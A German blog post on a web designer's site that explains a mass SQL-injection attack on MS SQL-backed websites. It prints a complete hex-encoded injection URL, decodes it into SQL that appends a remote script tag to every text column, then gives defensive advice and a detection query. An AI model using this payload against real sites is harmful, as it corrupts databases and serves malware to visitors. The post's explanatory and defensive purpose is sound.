This website mostly serves to present my work as an webdesigner. In my portfolio you will find an overview of my recent projects.

Anleitung zum löschen des Cache: cachemeifyoucan.com

markuslang.com

bigr-solutions.net

musikwerker.de

projekt-misside-guinea.de

feedyourfeeds.com

 

 

SQL-Injection, der Spass beginnt!

Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?

 

  • sql = "SELECT * FROM ShopWarenkorb WHERE id = '"& Request.QueryString("id") &"'"

 

Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:

 

 

Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:

 

  • http://www.xyz.com/?id=1';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
    CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200
    %20AS%20NVARCHAR(4000));EXEC(@S);--

 

In dem ersten Wert des CAST befindet sich der SQL-Befehl als Binärwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)

 

  • DECLARE @nvarchar NVARCHAR(4000)
  • SET @nvarchar = 'SELECT'
  •  
  • DECLARE @BINARY BINARY(12)
  • SET @BINARY = CAST(@nvarchar AS BINARY)
  •  
  • SELECT @BINARY
  • SELECT CAST(@BINARY AS NVARCHAR(4000))

 

Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:

 

  • DECLARE @T varchar(255), @C varchar(255)  
  • DECLARE Table_Cursor
  •  
  • CURSOR FOR
  • SELECT a.name,b.name
  • FROM sysobjects a,syscolumns b
  • WHERE
  • a.id=b.id
  • AND a.xtype='u'
  • AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
  •  
  • OPEN Table_Cursor
  • FETCH NEXT FROM  Table_Cursor
  • INTO @T,@C
  • WHILE(@@FETCH_STATUS=0)
  • BEGIN
  • exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://xyz/xyz.js></script>''')
  • FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).

 

Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)

 

Mithilfe dieser SQL-Befehle läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:

 

  • DECLARE @searchValue varchar(255)
  • SET @searchValue = 'script'
  •  
  • SET NOCOUNT ON
  •  
  • DECLARE @TempTable TABLE (table_name varchar(255),column_name varchar(255))
  • CREATE TABLE #TempTableContent (table_name varchar(255),column_name varchar(255), value text)
  •  
  • INSERT INTO @TempTable
  • SELECT ic.table_schema + '.' + dbo.sysobjects.name AS Tabellenname, dbo.syscolumns.name AS Spaltenname
  • FROM dbo.syscolumns
  • INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id
  • INNER JOIN dbo.systypes ON dbo.syscolumns.xtype = dbo.systypes.xtype
  • INNER JOIN information_schema.COLUMNS ic ON ic.table_name = dbo.sysobjects.name AND ic.column_name = dbo.syscolumns.name
  • WHERE (dbo.sysobjects.xtype = 'U') AND dbo.systypes.name IN ('varchar', 'nvarchar', 'text', 'char', 'ntext')
  •  
  • DECLARE @SQLString varchar(500);
  • DECLARE @table_name varchar(255), @column_name varchar(255)
  •  
  • DECLARE DATA CURSOR LOCAL FAST_FORWARD FOR
  • SELECT table_name, column_name FROM @TempTable
  •  
  • OPEN DATA
  •  
  • FETCH NEXT FROM DATA
  • INTO @table_name, @column_name
  •  
  • WHILE @@FETCH_STATUS = 0
  • BEGIN
  •         SET @SQLString = N'select '''+ @table_name +''' AS table_name, ''' + @column_name +''' AS column_name, [' + @column_name +'] AS value ' + ' FROM ' + @table_name + ' where [' + @column_name + '] LIKE ''%'+@searchValue+'%''';
  •  
  •         INSERT INTO #TempTableContent
  •         EXEC(@SQLString)
  •  
  •         FETCH NEXT FROM DATA
  •         INTO @table_name, @column_name
  •  
  • END
  • SELECT * FROM #TempTableContent
  • DROP TABLE #TempTableContent